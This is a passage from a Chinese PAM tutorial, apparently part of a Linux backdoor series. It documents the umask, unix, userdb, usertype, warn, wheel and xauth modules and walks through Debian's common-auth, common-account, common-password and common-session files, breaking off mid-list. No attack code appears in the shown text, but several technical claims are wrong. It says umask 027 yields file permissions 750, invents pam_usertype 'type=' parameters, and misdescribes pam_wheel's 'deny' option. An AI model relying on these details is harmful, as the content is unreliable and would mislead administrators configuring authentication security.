配置示例

假设在 /etc/pam.d/login 文件中进行配置:

# /etc/pam.d/login

# 其他 PAM 模块配置
auth required pam_securetty.so
auth requisite pam_nologin.so
auth include system-auth
account required pam_access.so
account required pam_nologin.so
account include system-auth
password include system-auth
session required pam_selinux.so open
session required pam_limits.so
session required pam_umask.so
session required pam_selinux.so close
session include system-auth

在这个示例中:

  • pam_umask.so 模块被配置为在用户会话开始时设置 umask

参数详细说明

  • umask=XXX:指定文件创建掩码。例如,umask=077 表示新创建的文件和目录的权限为 700(仅所有者有权限)
  • usergroups:根据用户所属组设置 umask。如果用户属于特定组,设置 umask 为 002;否则设置为 022。这通常用于为开发环境设置较宽松的权限

使用注意

  • 全局配置:可以在 /etc/login.defs 文件中设置全局 umask,但 pam_umask.so 模块的配置会覆盖全局配置
  • 权限管理:合理设置 umask 值,以确保新创建的文件和目录具有适当的默认权限,避免过于宽松或过于严格的权限设置

示例使用场景

  1. 设置固定的文件创建掩码

    在 PAM 配置文件中配置 pam_umask.so 模块,设置用户会话的 umask 为 027:

    session required pam_umask.so umask=027
  2. 根据用户组设置文件创建掩码

    使用 usergroups 参数,根据用户所属组设置 umask

    session required pam_umask.so usergroups

处理流程示例

  1. 用户 alice 尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_umask.so,设置用户 alice 会话的 umask 为 027
  3. 在用户 alice 的会话期间,新创建的文件和目录的默认权限由 umask 027 决定(文件权限为 750,目录权限为 750)

pam_unix.so

功能pam_unix.so 模块用于通过传统的 /etc/passwd/etc/shadow 文件进行用户认证、账户管理、密码管理和会话管理。它是一个较为基础的 PAM 模块,提供与 Unix 系统用户数据库的交互

主要用途用于本地用户的认证和管理,包括验证用户凭据、管理用户密码、检查账户有效性和处理用户会话

配置位置

基于传统的 /etc/passwd/etc/shadow

使用示例在 PAM 配置文件中,可以这样使用:

auth    required    pam_unix.so
account required pam_unix.so
password required pam_unix.so
session required pam_unix.so

参数说明

  • audit:在 syslog 中记录审计日志
  • nullok:允许空密码
  • try_first_pass:尝试使用前一个模块的密码
  • use_first_pass:使用前一个模块的密码,并且如果失败则拒绝
  • use_authtok:使用由前面模块设置的自动令牌(用于密码更新)
  • shadow:从 /etc/shadow 文件中获取密码
  • md5:使用 MD5 加密密码
  • sha256:使用 SHA256 加密密码
  • sha512:使用 SHA512 加密密码
  • rounds=N:指定使用 SHA256 或 SHA512 时的加密轮数

处理流程

  1. 用户尝试登录或执行某操作,系统根据 PAM 配置进行认证
  2. 调用 pam_unix.so,通过 /etc/passwd/etc/shadow 文件验证用户凭据
  3. 如果认证成功,允许用户继续操作;否则,拒绝用户并记录日志

配置示例

假设在 /etc/pam.d/login 文件中进行配置:

# /etc/pam.d/login

# 其他 PAM 模块配置
auth required pam_securetty.so
auth requisite pam_nologin.so
auth required pam_env.so
auth required pam_unix.so
account required pam_access.so
account required pam_nologin.so
account required pam_unix.so
password required pam_unix.so
session required pam_limits.so
session required pam_unix.so
session required pam_env.so

在这个示例中:

  • pam_unix.so 模块被配置为在认证、账户管理、密码管理和会话管理阶段进行用户认证和管理

参数详细说明

  • audit:在 syslog 中记录审计日志。例如,auth required pam_unix.so audit
  • nullok:允许空密码。例如,auth required pam_unix.so nullok
  • try_first_pass:尝试使用前一个模块的密码。例如,auth required pam_unix.so try_first_pass
  • use_first_pass:使用前一个模块的密码,并且如果失败则拒绝。例如,auth required pam_unix.so use_first_pass
  • use_authtok:使用由前面模块设置的自动令牌(用于密码更新)。例如,password required pam_unix.so use_authtok
  • shadow:从 /etc/shadow 文件中获取密码。例如,auth required pam_unix.so shadow
  • md5:使用 MD5 加密密码。例如,password required pam_unix.so md5
  • sha256:使用 SHA256 加密密码。例如,password required pam_unix.so sha256
  • sha512:使用 SHA512 加密密码。例如,password required pam_unix.so sha512
  • rounds=N:指定使用 SHA256 或 SHA512 时的加密轮数。例如,password required pam_unix.so sha512 rounds=5000

使用注意

  • 密码加密:建议使用 SHA256 或 SHA512 加密密码,以增强密码的安全性
  • 日志记录:使用 audit 参数在 syslog 中记录详细的审计日志,以便进行安全审计和问题排查
  • 空密码:使用 nullok 参数允许空密码时要谨慎,确保只在特定场景下使用

示例使用场景

  1. 使用 SHA512 加密密码

    在 PAM 配置文件中配置 pam_unix.so 模块,使用 SHA512 加密密码:

    password required pam_unix.so sha512
  2. 允许空密码

    允许用户使用空密码登录(需谨慎):

    auth required pam_unix.so nullok
  3. 尝试使用前一个模块的密码

    配置 pam_unix.so 模块,尝试使用前一个模块的密码:

    auth required pam_unix.so try_first_pass

处理流程示例

  1. 用户 alice 尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_unix.so,通过 /etc/passwd/etc/shadow 文件验证用户 alice 的凭据
  3. 如果凭据验证成功,允许 alice 登录;否则,拒绝登录并记录日志

pam_userdb.so

功能pam_userdb.so 模块用于通过 Berkeley DB 文件进行用户认证。它允许管理员使用一个指定的数据库文件来存储和验证用户凭据,而不是使用传统的 /etc/passwd/etc/shadow 文件

主要用途在需要使用自定义用户数据库的环境中,通过 Berkeley DB 文件进行用户认证。这在某些应用场景中非常有用,例如嵌入式系统或需要独立于系统用户管理的应用程序

配置位置配置时指定配置文件

使用示例在 PAM 配置文件中,可以这样使用:

auth required pam_userdb.so db=/path/to/userdb.db

参数说明

  • db=DATABASE:指定用户数据库文件的路径(不包含文件扩展名 .db
  • crypt:指示密码在数据库中是加密形式存储的
  • icase:进行不区分大小写的用户名比较
  • debug:启用调试信息输出

处理流程

  1. 用户尝试登录或执行需要认证的操作,系统根据 PAM 配置进行认证
  2. 调用 pam_userdb.so,从指定的 Berkeley DB 数据库文件中读取并验证用户凭据
  3. 如果认证成功,允许用户继续操作;否则,拒绝用户并记录日志

pam_usertype.so

pam_usertype.so 模块用于基于用户类型(如普通用户、系统用户或管理员用户)来控制访问和操作权限。这个模块通常用于根据用户的类型来决定是否允许用户通过认证或执行某些操作

主要用途在认证过程中,根据用户的类型(如普通用户、系统用户或管理员用户)来控制访问权限。这可以增强系统的安全性和管理灵活性

配置位置无独立配置文件

使用示例在 PAM 配置文件中,可以这样使用:

auth required pam_usertype.so

参数说明

  • type=user_type:指定用户类型,可以是 normalsystemadmin
  • debug:启用调试信息输出

处理流程

  1. 用户尝试登录或执行需要认证的操作,系统根据 PAM 配置进行认证
  2. 调用 pam_usertype.so,根据配置检查用户的类型
  3. 如果用户类型符合配置要求,则允许用户继续操作;否则,拒绝用户并记录日志

配置示例

假设在 /etc/pam.d/login 文件中进行配置:

# /etc/pam.d/login

# 其他 PAM 模块配置
auth required pam_securetty.so
auth requisite pam_nologin.so
auth required pam_usertype.so type=normal
auth include system-auth
account required pam_access.so
account required pam_nologin.so
account include system-auth
password include system-auth
session required pam_selinux.so open
session required pam_limits.so
session required pam_selinux.so close
session include system-auth

在这个示例中:

  • pam_usertype.so 模块被配置为在用户登录时检查用户类型是否为 normal

参数详细说明

  • type=user_type:指定用户类型。例如,type=normal 表示普通用户,type=system 表示系统用户,type=admin 表示管理员用户
  • debug:启用调试信息输出。例如,auth required pam_usertype.so type=normal debug

使用注意

  • 用户分类:确保系统中明确区分了不同类型的用户,并在配置中正确使用这些类型
  • 日志记录:使用 debug 参数时,注意调试信息可能包含敏感数据,应确保日志的安全性

示例使用场景

  1. 限制普通用户登录

    在 PAM 配置文件中配置 pam_usertype.so 模块,限制只有普通用户可以登录:

    auth required pam_usertype.so type=normal
  2. 限制系统用户执行操作

    配置 pam_usertype.so 模块,限制只有系统用户可以执行特定操作:

    account required pam_usertype.so type=system
  3. 启用调试信息输出

    配置 pam_usertype.so 模块,启用调试信息输出:

    auth required pam_usertype.so type=normal debug

处理流程示例

  1. 用户 alice 尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_usertype.so,检查用户 alice 是否为普通用户
  3. 如果用户 alice 的类型为 normal,允许登录;否则,拒绝登录并记录日志

pam_warn.so

功能pam_warn.so 模块用于在日志中记录警告消息。它不会影响认证流程的结果,但会在被调用的时候向系统日志发出一条警告。这可以用于调试、审计和监控目的

主要用途在 PAM 配置中,通过在特定阶段记录警告消息来增强系统的审计和监控能力。它可以帮助管理员了解某些模块的调用情况,或者在特定的认证阶段进行日志记录

配置位置无独立配置文件

使用示例在 PAM 配置文件中,可以这样使用:

auth required pam_warn.so

参数说明

  • 无参数pam_warn.so 模块不需要任何参数

处理流程

  1. 用户尝试登录或执行需要认证的操作,系统根据 PAM 配置进行处理
  2. 调用 pam_warn.so 模块,在系统日志中记录一条警告消息
  3. 认证流程继续进行,不受 pam_warn.so 的影响

配置示例

假设在 /etc/pam.d/login 文件中进行配置:

# /etc/pam.d/login

# 其他 PAM 模块配置
auth required pam_securetty.so
auth requisite pam_nologin.so
auth required pam_warn.so
auth include system-auth
account required pam_access.so
account required pam_nologin.so
account required pam_warn.so
account include system-auth
password include system-auth
session required pam_selinux.so open
session required pam_limits.so
session required pam_warn.so
session required pam_selinux.so close
session include system-auth

在这个示例中:

  • pam_warn.so 模块被配置为在认证、账户管理和会话管理阶段记录警告消息

使用注意

  • 日志记录:确保系统日志文件(如 /var/log/auth.log/var/log/secure)有足够的存储空间,并且设置了适当的权限,防止未经授权的访问和篡改
  • 审计和监控:使用 pam_warn.so 模块可以增强系统的审计和监控能力,但不应依赖它来控制访问权限

示例使用场景

  1. 在认证阶段记录警告消息

    在 PAM 配置文件中配置 pam_warn.so 模块,记录用户在认证阶段的警告消息:

    auth required pam_warn.so
  2. 在账户管理阶段记录警告消息

    配置 pam_warn.so 模块,记录用户在账户管理阶段的警告消息:

    account required pam_warn.so
  3. 在会话管理阶段记录警告消息

    配置 pam_warn.so 模块,记录用户在会话管理阶段的警告消息:

    session required pam_warn.so

处理流程示例

  1. 用户 alice 尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_warn.so,在系统日志中记录一条警告消息
  3. 认证流程继续进行,不受 pam_warn.so 的影响
  4. 管理员可以在系统日志中查看警告消息,以了解认证流程的调用情况

通过使用 pam_warn.so 模块,系统管理员可以在特定的 PAM 处理阶段记录警告消息,从而增强系统的审计和监控能力,有助于问题排查和安全审计

pam_wheel.so

功能pam_wheel.so 模块用于限制只有特定组的成员可以使用 su 命令。这通常用于限制谁可以切换到超级用户(root)或其他用户,以增强系统的安全性

主要用途通过限制对 su 命令的访问,确保只有授权的用户(通常是 wheel 组的成员)可以切换到超级用户或其他用户。这可以防止未经授权的用户提升权限

配置位置通常在 PAM 配置文件中的认证阶段(auth)进行设置,位于 /etc/pam.d/ 目录下的相关文件,主要用于 su 命令的配置文件 /etc/pam.d/su

使用示例在 PAM 配置文件中,可以这样使用:

auth required pam_wheel.so

参数说明

  • group=groupname:指定允许使用 su 命令的组。默认是 wheel
  • trust:信任组中的成员,即无需再次输入密码
  • deny:指定拒绝使用 su 命令的组
  • use_uid:使用调用 su 命令的用户的真实 UID 来检查组成员资格,而不是切换到的用户的 UID

处理流程

  1. 用户尝试使用 su 命令切换到另一个用户,系统根据 PAM 配置进行认证
  2. 调用 pam_wheel.so,检查用户是否属于允许使用 su 命令的组
  3. 如果用户属于指定组,则允许继续操作;否则,拒绝用户并记录日志

配置示例

假设在 /etc/pam.d/su 文件中进行配置:

# /etc/pam.d/su

# 其他 PAM 模块配置
auth sufficient pam_rootok.so
auth required pam_wheel.so use_uid
auth include system-auth
account required pam_permit.so
session required pam_env.so
session optional pam_xauth.so

在这个示例中:

  • pam_wheel.so 模块被配置为在用户执行 su 命令时检查用户是否属于 wheel

参数详细说明

  • group=groupname:指定允许使用 su 命令的组。例如,group=admin 表示只有 admin 组的成员可以使用 su 命令
  • trust:信任组中的成员,即无需再次输入密码。例如,auth required pam_wheel.so trust
  • deny:指定拒绝使用 su 命令的组。例如,deny=restricted 表示 restricted 组的成员不能使用 su 命令
  • use_uid:使用调用 su 命令的用户的真实 UID 来检查组成员资格。例如,auth required pam_wheel.so use_uid

使用注意

  • 组管理:确保系统中正确配置了允许使用 su 命令的组(如 wheel 组),并将授权用户加入该组
  • 安全性:合理使用 trust 参数,以防止未经授权的用户通过信任组提升权限

示例使用场景

  1. 限制 wheel 组成员使用 su

    在 PAM 配置文件中配置 pam_wheel.so 模块,限制只有 wheel 组的成员可以使用 su 命令:

    auth required pam_wheel.so
  2. 指定其他组使用 su

    配置 pam_wheel.so 模块,允许 admin 组的成员使用 su 命令:

    auth required pam_wheel.so group=admin
  3. 信任 wheel 组成员

    配置 pam_wheel.so 模块,信任 wheel 组的成员,即无需再次输入密码:

    auth required pam_wheel.so trust
  4. 使用真实 UID 检查组成员资格

    配置 pam_wheel.so 模块,使用调用 su 命令的用户的真实 UID 来检查组成员资格:

    auth required pam_wheel.so use_uid

处理流程示例

  1. 用户 alice 尝试使用 su 命令切换到 root 用户,系统根据 PAM 配置进行认证
  2. 调用 pam_wheel.so,检查用户 alice 是否属于 wheel
  3. 如果用户 alice 属于 wheel 组,允许切换到 root 用户;否则,拒绝操作并记录日志

pam_xauth.so

功能pam_xauth.so 模块用于在使用 susudo 等命令时转移和管理 X Window System 的认证令牌。这使得用户在切换身份后仍然能够访问 X11 显示,而无需重新认证

主要用途在用户切换身份时,通过转移 X11 认证令牌,确保新的用户会话能够访问原有用户的 X11 显示。这在图形环境下非常有用,允许用户在切换到其他用户(如使用 susudo)后继续使用 X11 应用

配置位置通常在 PAM 配置文件中的会话管理阶段(session)进行设置,位于 /etc/pam.d/ 目录下的相关文件,通常用于 susudo 的配置文件

使用示例在 PAM 配置文件中,可以这样使用:

session optional pam_xauth.so

参数说明

  • debug:启用调试信息输出
  • xauthpath=path:指定 xauth 命令的路径。如果 xauth 命令不在标准路径中,可以使用此参数指定

处理流程

  1. 用户使用 susudo 命令切换身份,系统根据 PAM 配置进行处理
  2. 调用 pam_xauth.so,转移 X11 认证令牌到新的用户会话
  3. 新的用户会话能够访问原有用户的 X11 显示,而无需重新认证

配置示例

假设在 /etc/pam.d/su 文件中进行配置:

# /etc/pam.d/su

# 其他 PAM 模块配置
auth sufficient pam_rootok.so
auth required pam_wheel.so use_uid
auth include system-auth
account required pam_permit.so
session required pam_env.so
session optional pam_xauth.so

在这个示例中:

  • pam_xauth.so 模块被配置为在用户使用 su 命令切换身份时转移 X11 认证令牌

参数详细说明

  • debug:启用调试信息输出。例如,session optional pam_xauth.so debug
  • xauthpath=path:指定 xauth 命令的路径。例如,session optional pam_xauth.so xauthpath=/usr/local/bin/xauth

使用注意

  • xauth 命令路径:确保系统中安装了 xauth 命令,并且路径正确。如果 xauth 命令不在标准路径中,可以使用 xauthpath 参数指定
  • 权限管理:转移 X11 认证令牌涉及权限管理,应确保新用户会话有适当的权限访问 X11 显示

示例使用场景

  1. 转移 X11 认证令牌

    在 PAM 配置文件中配置 pam_xauth.so 模块,确保用户使用 su 命令切换身份后仍然能够访问 X11 显示:

    session optional pam_xauth.so
  2. 启用调试信息输出

    配置 pam_xauth.so 模块,启用调试信息输出:

    session optional pam_xauth.so debug
  3. 指定 xauth 命令路径

    配置 pam_xauth.so 模块,指定 xauth 命令的路径:

    session optional pam_xauth.so xauthpath=/usr/local/bin/xauth

处理流程示例

  1. 用户 alice 在图形终端中尝试使用 su 命令切换到 root 用户,系统根据 PAM 配置进行处理
  2. 调用 pam_xauth.so 模块,转移 X11 认证令牌到 root 用户会话
  3. root 用户会话能够访问 alice 用户的 X11 显示,而无需重新认证

0x05 PAM 配置文件

在上面的部分中介绍了每一个模块的功能,有些模块是开关类型的模块,引入它就会开启某些功能;有些模块是需要额外配置的,根据额外配置的不同而产生不同的功能

但是这些模块都不是默认就加载的,而是需要 PAM 配置文件中进行相关配置才会加载

1. PAM 配置文件的意义

常规来说,配置文件都是服务于主程序的,但 PAM 主程序似乎并不需要我们的配置,所以 PAM 的配置文件服务的对象不是 PAM 本身,而是需要进行身份验证的服务,例如 login、sshd、su 等

PAM 配置文件定义了系统如何处理用户认证。PAM 配置文件通常位于 /etc/pam.d/ 目录中,并以服务名称命名(例如 loginsshdsu 等)。每个配置文件包含多个 PAM 模块的调用,按照顺序定义认证流程

2. PAM 配置文件的位置

/etc/pam.conf
/etc/pam.d/*

一般情况下,每一个需要 PAM 认证的服务会在 /etc/pam.d/ 目录下创建一个相同名字的配置文件,如果系统上不存在 /etc/pam.d/目录,则会使用 /etc/pam.conf

PAM 后门 | Linux 后门系列

3. PAM 配置文件语法

PAM 的配置文件是从上向下执行的,每一行代表一次对模块的调用

  1. 每个模块必须有返回值
    • 每个 PAM 模块在执行后都会返回一个结果码,这个结果码用于决定接下来的步骤。这些结果码包括成功、失败、忽略等
  2. 整个 PAM 配置必须有一个返回值
    • 对于每个 PAM 类型(如 authaccountpasswordsession),在完成所有模块的调用后,必须有一个最终的返回值。这决定了这个阶段的整体结果

PAM 配置文件中的每一行通常包含以下四个字段:

  • 模块类型(Type)

  • 控制标志(Control Flag)

  • 模块路径(Module Path)

  • 模块参数(Module Arguments)

示例如下:

auth required pam_unix.so

模块类型

PAM 配置文件中有四种主要的模块类型:

  • auth:认证模块,用于验证用户身份。例如,检查密码或使用双因素认证

  • account:账户管理模块,用于检查账户的属性。例如,账户是否被锁定或是否有登录权限

  • password:密码管理模块,用于管理用户密码。例如,修改密码或检查密码复杂度

  • session:会话管理模块,用于管理用户会话。例如,设置资源限制或初始化用户环境

控制标志

控制标志决定了 PAM 模块的成功或失败将如何影响整个认证过程。常见的控制标志有:

  • required:必须成功。如果此模块失败,整个认证过程将失败,但仍会继续执行后续模块

  • requisite:必须成功。如果此模块失败,整个认证过程将立即失败,不再执行后续模块

  • sufficient:如果此模块成功,整个认证过程立即成功,不再执行后续模块;如果失败,则继续执行后续模块

  • optional:无论此模块成功与否,都不会影响整个认证过程的结果。通常用于记录日志或设置环境变量

模块路径

模块路径指定 PAM 模块的路径。通常是 /lib/security//lib64/security/ 目录下的共享库文件。例如,pam_unix.so

模块参数

模块参数用于传递特定配置给 PAM 模块。例如,debugnullok

配置文件案例分析

从上面的几部分可以看出,PAM 的配置文件语法较为简单,但是如果没有之前关于服务模块的介绍,实在是不好完全理解,即使是了解了服务模块,也需要借助一些案例来进行分析

PAM 后门 | Linux 后门系列
1) common-auth

common-auth 配置文件通常包含系统所有服务共享的通用认证策略。通过将通用的认证策略抽象到一个单独的文件中,系统可以简化 PAM 配置的管理,并确保所有服务遵循一致的认证流程

PAM 后门 | Linux 后门系列
#
# /etc/pam.d/common-auth - authentication settings common to all services
#
# This file is included from other service-specific PAM config files,
# and should contain a list of the authentication modules that define
# the central authentication scheme for use on the system
# (e.g., /etc/shadow, LDAP, Kerberos, etc.).  The default is to use the
# traditional Unix authentication mechanisms.
#
# As of pam 1.0.1-6, this file is managed by pam-auth-update by default.
# To take advantage of this, it is recommended that you configure any
# local modules either before or after the default block, and use
# pam-auth-update to manage selection of other modules.  See
# pam-auth-update(8) for details.

# here are the per-package modules (the "Primary" block)
auth [success=1 default=ignore] pam_unix.so nullok
# here's the fallback if no module succeeds
auth requisite   pam_deny.so
# prime the stack with a positive return value if there isn't one already;
# this avoids us returning an error just because nothing sets a success code
# since the modules above will each just jump around
auth required   pam_permit.so
# and here are more per-package modules (the "Additional" block)
auth optional   pam_cap.so 
# end of pam-auth-update config

# 开头的是注释行

auth [success=1 default=ignore] pam_unix.so nullok
  • 类型auth

  • 控制标志[success=1 default=ignore]

  • 模块pam_unix.so

  • 参数nullok

  • 功能

    • 如果此模块成功(返回成功代码),则跳过下一个模块(跳过 1 个模块)
    • 如果此模块失败(返回失败代码),则忽略此模块的结果,并继续执行下一个模块
    • pam_unix.so 模块用于通过 /etc/passwd/etc/shadow 文件进行用户认证
    • nullok 参数允许空密码
    • 控制标志 [success=1 default=ignore] 的含义是:
auth requisite   pam_deny.so
  • 类型auth
  • 控制标志requisite
  • 模块pam_deny.so
  • 功能
    • pam_deny.so 模块总是返回失败
    • requisite 标志表示如果此模块失败,整个认证过程立即失败,不再执行后续模块
    • 这是一个安全措施,以确保如果没有模块成功,认证将失败
auth required   pam_permit.so
  • 类型auth
  • 控制标志required
  • 模块pam_permit.so
  • 功能
    • pam_permit.so 模块总是返回成功
    • required 标志表示此模块必须成功,否则整个认证过程将失败,但是会继续执行后续模块
    • 这个配置用于确保在模块没有设置执行成功代码的情况下,避免认证过程因为没有返回执行成功代码而失败。其实就是返回一个 True
auth optional   pam_cap.so 
  • 类型auth
  • 控制标志optional
  • 模块pam_cap.so
  • 功能
    • pam_cap.so 模块用于设置进程能力
    • optional 标志表示此模块的成功或失败不会影响整个认证过程
    • 这是一个附加模块,可以为特定服务配置额外的能力,这个模块是由对应的配置文件的,可以参照上一章节的详述内容

配置总体执行流程

  1. 用户尝试登录,系统开始认证流程
  2. 调用 pam_unix.so 模块:
    • 如果认证成功,跳过下一个模块(pam_deny.so),继续执行 pam_permit.so
    • 如果认证失败,忽略此模块的结果,继续执行下一个模块(pam_deny.so
  3. 调用 pam_deny.so 模块:
    • 此模块总是返回失败。如果执行到此模块,认证立即失败,且不再执行后续模块
  4. 调用 pam_permit.so 模块:
    • 如果执行到此模块,总是返回成功
  5. 调用 pam_cap.so 模块(可选):
    • 设置进程能力。此模块的成功或失败不会影响整个认证过程

通过调用不同的模块,完成了基本的身份认证流程

2) common-account

common-account 配置文件定义了系统所有服务共享的通用账户管理策略。通过将通用的账户管理策略抽象到一个单独的文件中,系统可以简化 PAM 配置的管理,并确保所有服务遵循一致的账户管理流程

PAM 后门 | Linux 后门系列
#
# /etc/pam.d/common-account - authorization settings common to all services
#
# This file is included from other service-specific PAM config files,
# and should contain a list of the authorization modules that define
# the central access policy for use on the system.  The default is to
# only deny service to users whose accounts are expired in /etc/shadow.
#
# As of pam 1.0.1-6, this file is managed by pam-auth-update by default.
# To take advantage of this, it is recommended that you configure any
# local modules either before or after the default block, and use
# pam-auth-update to manage selection of other modules.  See
# pam-auth-update(8) for details.
#

# here are the per-package modules (the "Primary" block)
account [success=1 new_authtok_reqd=done default=ignore] pam_unix.so 
# here's the fallback if no module succeeds
account requisite   pam_deny.so
# prime the stack with a positive return value if there isn't one already;
# this avoids us returning an error just because nothing sets a success code
# since the modules above will each just jump around
account required   pam_permit.so
# and here are more per-package modules (the "Additional" block)
# end of pam-auth-update config
account [success=1 new_authtok_reqd=done default=ignore] pam_unix.so 
  • 类型account
  • 控制标志[success=1 new_authtok_reqd=done default=ignore]
  • 模块pam_unix.so
  • 功能
    • 如果此模块成功(返回成功代码),则跳过下一个模块(跳过 1 个模块)
    • 如果需要新的认证令牌(new_authtok_reqd),则完成后续操作
    • 如果此模块失败或其他情况,则忽略此模块的结果,并继续执行下一个模块
    • pam_unix.so 模块用于通过 /etc/passwd/etc/shadow 文件进行账户管理
    • 控制标志 [success=1 new_authtok_reqd=done default=ignore]的含义是:
account requisite   pam_deny.so

不多介绍了,就相当于编程里的 exit

account required   pam_permit.so

不多介绍,相当于编程里的 return true

配置总体执行流程

  1. 用户尝试登录,系统开始账户管理流程
  2. 调用 pam_unix.so 模块:
    • 如果账户管理成功,跳过下一个模块(pam_deny.so),继续执行 pam_permit.so
    • 如果需要新的认证令牌(例如密码更新),则完成后续操作
    • 如果失败或其他情况,则忽略此模块的结果,继续执行下一个模块(pam_deny.so
  3. 调用 pam_deny.so 模块:
    • 此模块总是返回失败。如果执行到此模块,账户管理立即失败,且不再执行后续模块
  4. 调用 pam_permit.so 模块:
    • 如果执行到此模块,总是返回成功

common-account 的作用是检查用户账户的状态,确保账户有效且被授权使用

3) common-password

common-password 配置文件定义了系统所有服务共享的通用密码管理策略。通过将通用的密码管理策略抽象到一个单独的文件中,系统可以简化 PAM 配置的管理,并确保所有服务(如 passwdchpasswd 等)遵循一致的密码管理流程

PAM 后门 | Linux 后门系列
#
# /etc/pam.d/common-password - password-related modules common to all services
#
# This file is included from other service-specific PAM config files,
# and should contain a list of modules that define the services to be
# used to change user passwords.  The default is pam_unix.

# Explanation of pam_unix options:
# The "yescrypt" option enables
#hashed passwords using the yescrypt algorithm, introduced in Debian
#11.  Without this option, the default is Unix crypt.  Prior releases
#used the option "sha512"; if a shadow password hash will be shared
#between Debian 11 and older releases replace "yescrypt" with "sha512"
#for compatibility .  The "obscure" option replaces the old
#`OBSCURE_CHECKS_ENAB' option in login.defs.  See the pam_unix manpage
#for other options.

# As of pam 1.0.1-6, this file is managed by pam-auth-update by default.
# To take advantage of this, it is recommended that you configure any
# local modules either before or after the default block, and use
# pam-auth-update to manage selection of other modules.  See
# pam-auth-update(8) for details.

# here are the per-package modules (the "Primary" block)
password [success=1 default=ignore] pam_unix.so obscure yescrypt
# here's the fallback if no module succeeds
password requisite   pam_deny.so
# prime the stack with a positive return value if there isn't one already;
# this avoids us returning an error just because nothing sets a success code
# since the modules above will each just jump around
password required   pam_permit.so
# and here are more per-package modules (the "Additional" block)
# end of pam-auth-update config
password [success=1 default=ignore] pam_unix.so obscure yescrypt
  • 类型password
  • 控制标志[success=1 default=ignore]
  • 模块pam_unix.so
  • 参数
    • obscure:应用密码复杂性检查,防止使用简单密码
    • yescrypt:使用 yescrypt 算法进行密码加密(这是一个现代且安全的加密算法,取代了旧的 sha512 算法)
  • 功能
    • 如果此模块成功(返回成功代码),则跳过下一个模块(跳过 1 个模块)
    • 如果此模块失败或其他情况,忽略此模块的结果,并继续执行下一个模块
    • pam_unix.so 模块用于通过 /etc/passwd/etc/shadow 文件进行密码管理,支持复杂性检查和加密
    • 控制标志 [success=1 default=ignore] 的含义是:

剩下两行和之前相同

配置总体执行流程

  1. 用户尝试更改密码,系统开始密码管理流程
  2. 调用 pam_unix.so 模块:
    • 验证和更新用户密码,进行复杂性检查,并使用 yescrypt 进行加密。如果密码管理成功,跳过下一个模块(pam_deny.so),继续执行 pam_permit.so
    • 如果失败或其他情况,忽略此模块的结果,继续执行下一个模块(pam_deny.so
  3. 调用 pam_deny.so 模块:
    • 此模块总是返回失败。如果执行到此模块,密码管理立即失败,且不再执行后续模块
  4. 调用 pam_permit.so 模块:
    • 总是返回成功,确保密码管理流程的正向结果
4) common-session

common-session 配置文件定义了系统所有服务共享的通用会话管理策略。通过将会话管理策略抽象到一个单独的文件中,系统可以简化 PAM 配置的管理,并确保所有服务遵循一致的会话管理流程

主要负责在用户登录和注销时执行一些必要的操作,如设置用户环境、启动用户会话、设置资源限制等

  1. 初始化用户环境:设置环境变量、用户目录等
  2. 资源限制:设置文件创建掩码(umask)、限制用户可以使用的资源
  3. 启动和终止用户会话:确保会话的正确启动和清理
PAM 后门 | Linux 后门系列
#
# /etc/pam.d/common-session - session-related modules common to all services
#
# This file is included from other service-specific PAM config files,
# and should contain a list of modules that define tasks to be performed
# at the start and end of interactive sessions.
#
# As of pam 1.0.1-6, this file is managed by pam-auth-update by default.
# To take advantage of this, it is recommended that you configure any
# local modules either before or after the default block, and use
# pam-auth-update to manage selection of other modules.  See
# pam-auth-update(8) for details.

# here are the per-package modules (the "Primary" block)
session [default=1]   pam_permit.so
# here's the fallback if no module succeeds
session requisite   pam_deny.so
# prime the stack with a positive return value if there isn't one already;
# this avoids us returning an error just because nothing sets a success code
# since the modules above will each just jump around
session required   pam_permit.so
# The pam_umask module will set the umask according to the system default in
# /etc/login.defs and user settings, solving the problem of different
# umask settings with different shells, display managers, remote sessions etc.
# See "man pam_umask".
session optional   pam_umask.so
# and here are more per-package modules (the "Additional" block)
session required pam_unix.so 
session optional pam_systemd.so 
# end of pam-auth-update config
session [default=1]   pam_permit.so
  • 类型session
  • 控制标志[default=1]
  • 模块pam_permit.so
  • 功能
    • 如果此模块返回默认结果(成功),则跳过下一个模块(跳过 1 个模块)
    • pam_permit.so 模块总是返回成功
    • 控制标志 [default=1] 的含义是:
session requisite   pam_deny.so
  • 类型session
  • 控制标志requisite
  • 模块pam_deny.so
  • 功能
    • pam_deny.so 模块总是返回失败
    • requisite 标志表示如果此模块失败,整个会话管理过程立即失败,不再执行后续模块
    • 这是一个安全措施,确保如果没有模块成功,会话管理将失败
session required   pam_permit.so
  • 类型session

  • 控制标志required

  • 模块pam_permit.so

  • 功能

    • pam_permit.so 模块总是返回成功
    • required 标志表示此模块必须成功,否则整个会话管理过程将失败
    • 这个配置用于确保在没有设置成功代码的情况下,避免会话管理过程因为没有成功代码而失败
session optional   pam_umask.so
  • 类型session

  • 控制标志optional

  • 模块pam_umask.so

  • 功能

    • pam_umask.so 模块用于设置用户的文件创建掩码(umask)

    • optional 标志表示此模块的成功或失败不会影响整个会话管理过程

    • 通过读取 /etc/login.defs 和用户设置来解决不同 shell、显示管理器、远程会话等的 umask 设置问题

      PAM 后门 | Linux 后门系列
session required pam_unix.so 
  • 类型session
  • 控制标志required
  • 模块pam_unix.so
  • 功能
    • pam_unix.so 模块用于通过 /etc/passwd/etc/shadow 文件进行会话管理
    • required 标志表示此模块必须成功,否则整个会话管理过程将失败
session optional pam_systemd.so 
  • 类型session
  • 控制标志optional
  • 模块pam_systemd.so
  • 功能
    • pam_systemd.so 模块用于与 systemd 进行集成,管理用户会话的生命周期
    • optional 标志表示此模块的成功或失败不会影响整个会话管理过程

配置总体执行流程

  1. 用户尝试登录,系统开始会话管理流程
  2. 调用 pam_permit.so 模块:
    • 如果此模块返回默认结果(成功),则跳过下一个模块(pam_deny.so),继续执行下一个 pam_permit.so
  3. 调用 pam_deny.so 模块:
    • 如果执行到此模块,表示之前的模块失败,立即终止会话管理过程
  4. 调用 pam_permit.so 模块:
    • 总是返回成功,确保会话管理流程的正向结果
  5. 调用 pam_umask.so 模块:
    • 设置用户的文件创建掩码(umask)。此模块的成功或失败不会影响整个会话管理过程
  6. 调用 pam_unix.so 模块:
    • 进行标准的会话管理操作,如初始化用户环境。此模块必须成功,否则会话管理过程将失败
  7. 调用 pam_systemd.so 模块:
